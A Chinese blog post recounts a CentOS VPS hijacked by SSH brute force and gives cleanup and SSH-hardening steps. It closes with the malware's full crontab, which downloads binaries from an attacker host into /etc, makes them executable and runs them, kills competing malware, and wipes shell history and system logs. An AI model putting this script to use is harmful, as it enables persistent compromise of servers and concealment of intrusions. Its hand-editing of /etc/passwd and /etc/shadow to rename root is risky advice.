尼玛!Linux都会中毒?可不是么,这种奇葩的事情都让我遇上了,而且和我一样的人还真有,幸好有,不然哥不是郁闷了~
情况就是服务器访问非常慢,基本隔三差五的不能访问!DNSpod三天两头发邮件给我“D监控通知:您的网站www.jinlijun.com无法访问”。
机器是CentOS,开放22端口root权限,密码长度9位字母加数字全小写无规律。立马给VPS服务商联系,询问情况,反馈结果告知是中了病毒,被hacked了~擦!
进入服务器,发现机子不停往外发包,带宽占满(5分钟能发10G)。cpu占用100%,top下能看到名为sfewfesfs的进程还有.sshddXXXXXXXXXXX(一串随机数字)的进程。/etc/下能看到名为sfewfesfs,nhgbhhj等多个奇怪名字的“红名”文件。
因为22端口操作也是需要网络,在服务商不给力的情况下,也只能选择备份数据重装!在这里把解毒方法公示下,然后应对暴力破解的招数也总结下:
如果你是内网用户,请修改外网映射22端口到XXXX,修改root密码:
1
|
passwd
|
关闭root的22权限
在/etc/ssh/sshd_config文件中找到PermitRootLogin去掉#改成
1
|
PermitRootLogin
no
|
查看占用端口
1
|
netstat
-
atunlp
|
看到sfewfesfs和.sshdd1401029348进程在发包
查看进程位置
1
|
ll
/
proc
/进程
PID
|
删除病毒文件
1
2
|
chattr
-
i
/
etc
/
sfewfesfs*
rm
-
rf
/
etc
/
sfewfesfs*
|
看到名为nhgbhhj等的可疑文件一并删除
1
2
|
rm
-
rf
/
etc
/
nhgbhhj
rm
-
rf
/
etc
/
nhgbhhj*
*
*
|
删除计划任务(非常重要),病毒靠这个复活!
1
2
|
rm
-
rf
/
var
/
spool
/
cron
/
root
rm
-
rf
/
var
/
spool
/
cron
/
root
.
1
|
用ls -al看到.SSH2隐藏文件,删除
1
|
rm
-
rf
/
etc
/
.
SSH2
|
用ls -al看到.sshdd1401029348隐藏文件,删除
1
|
rm
-
rf
/
tmp
/
.
sshdd140*
|
重启服务器,搞定。
网上有大神强调:22端口的root权限还是不要开了,nozuonodie,头一次经历linux中毒曾一度以为是很安全的操作系统-_-!,中过一次才觉得爽,大意了。
但是22端口对于VPS租用者来说是必须开的,而且需要root账号和权限的!肿么办?
----以下内容是本文重要强调的地方----
看似安全的系统是怎么被入侵的捏?原因是22端口开放,用root用户名+简单密码,例如:
root123
黑客采用暴力破解,就是用“用户名“+”密码”穷举的方式进行远程登录,由于Linux系统默认的管理员登录用户名是root,破解者只需暴力破解密码,你就只能nozuonodie了~~
其他招呢?就是修改root用户名:(没有具体命令,只能修改配置文件)
root用户登录,vi修改/etc/passwd & /etc/shadow
(不清楚这两个文件的,请学习:/etc/passwd & /etc/shadow 详解)
1
|
vi
/
etc
/
passwd
|
按i键进入编辑状态
修改第1行第1个root为新的用户名
按esc键退出编辑状态,并输入:x保存并退出
1
|
vi
/
etc
/
shadow
|
按i键进入编辑状态
修改第1行第1个root为新的用户名
按esc键退出编辑状态,并输入:x!强制保存并退出
补充:为了正常使用sudo,需要修改/etc/sudoers的设置,修改方法如下(来自How to add users to /etc/sudoers):
1
|
vi
/
etc
/
sudoers
|
找到root ALL=(ALL) ALL
在下面添加一行:新用户名 ALL=(ALL) ALL
:x!强制保存退出
重新连接,输入新用户名+原来root密码!大功告成!!
附病毒脚本
*/1 * * * * killall -9 .IptabLes */1 * * * * killall -9 nfsd4 */1 * * * * killall -9 profild.key */1 * * * * killall -9 nfsd */1 * * * * killall -9 DDosl */1 * * * * killall -9 lengchao32 */1 * * * * killall -9 b26 */1 * * * * killall -9 codelove */1 * * * * killall -9 32 */1 * * * * killall -9 64 */1 * * * * killall -9 new6 */1 * * * * killall -9 new4 */1 * * * * killall -9 node24 */1 * * * * killall -9 freeBSD */99 * * * * killall -9 sdmfdsfhjfe */98 * * * * killall -9 gfhjrtfyhuf */97 * * * * killall -9 sdmfdsfhjfe */96 * * * * killall -9 rewgtf3er4t */95 * * * * killall -9 ferwfrre */94 * * * * killall -9 dsfrefr */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhjrtfyhuf */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sfewfesfs */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sdmfdsfhjfe */130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/gfhddsfew */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/rewgtf3er4t */140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ferwfrre */120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/dsfrefr */120 * * * * cd /root;rm -rf dir nohup.out */360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf */360 * * * * cd /etc;rm -rf dir dsfrefr */360 * * * * cd /etc;rm -rf dir sdmfdsfhjfe */360 * * * * cd /etc;rm -rf dir rewgtf3er4t */360 * * * * cd /etc;rm -rf dir gfhddsfew */360 * * * * cd /etc;rm -rf dir ferwfrre */1 * * * * cd /etc;rm -rf dir sfewfesfs.* */1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.* */1 * * * * cd /etc;rm -rf dir dsfrefr.* */1 * * * * cd /etc;rm -rf dir sdmfdsfhjfe.* */1 * * * * cd /etc;rm -rf dir rewgtf3er4t.* */1 * * * * cd /etc;rm -rf dir gfhddsfew.* */1 * * * * cd /etc;rm -rf dir ferwfrre.* */1 * * * * chmod 7777 /etc/gfhjrtfyhuf */1 * * * * chmod 7777 /etc/sfewfesfs */1 * * * * chmod 7777 /etc/dsfrefr */1 * * * * chmod 7777 /etc/sdmfdsfhjfe */1 * * * * chmod 7777 /etc/rewgtf3er4t */1 * * * * chmod 7777 /etc/gfhddsfew */1 * * * * chmod 7777 /etc/ferwfrre */99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1& */100 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1& */99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1& */98 * * * * nohup /etc/sdmfdsfhjfe > /dev/null 2>&1& */97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1& */96 * * * * nohup /etc/ferwfrre > /dev/null 2>&1& */95 * * * * nohup /etc/dsfrefr > /dev/null 2>&1& */1 * * * * echo "unset MAILCHECK" >> /etc/profile */1 * * * * rm -rf /root/.bash_history */1 * * * * touch /root/.bash_history */1 * * * * history -r */1 * * * * cd /var/log > dmesg */1 * * * * cd /var/log > auth.log */1 * * * * cd /var/log > alternatives.log */1 * * * * cd /var/log > boot.log */1 * * * * cd /var/log > btmp */1 * * * * cd /var/log > cron */1 * * * * cd /var/log > cups */1 * * * * cd /var/log > daemon.log */1 * * * * cd /var/log > dpkg.log */1 * * * * cd /var/log > faillog */1 * * * * cd /var/log > kern.log */1 * * * * cd /var/log > lastlog */1 * * * * cd /var/log > maillog */1 * * * * cd /var/log > user.log */1 * * * * cd /var/log > Xorg.x.log */1 * * * * cd /var/log > anaconda.log */1 * * * * cd /var/log > yum.log */1 * * * * cd /var/log > secure */1 * * * * cd /var/log > wtmp */1 * * * * cd /var/log > utmp */1 * * * * cd /var/log > messages */1 * * * * cd /var/log > spooler */1 * * * * cd /var/log > sudolog */1 * * * * cd /var/log > aculog */1 * * * * cd /var/log > access-log */1 * * * * cd /root > .bash_history */1 * * * * history -c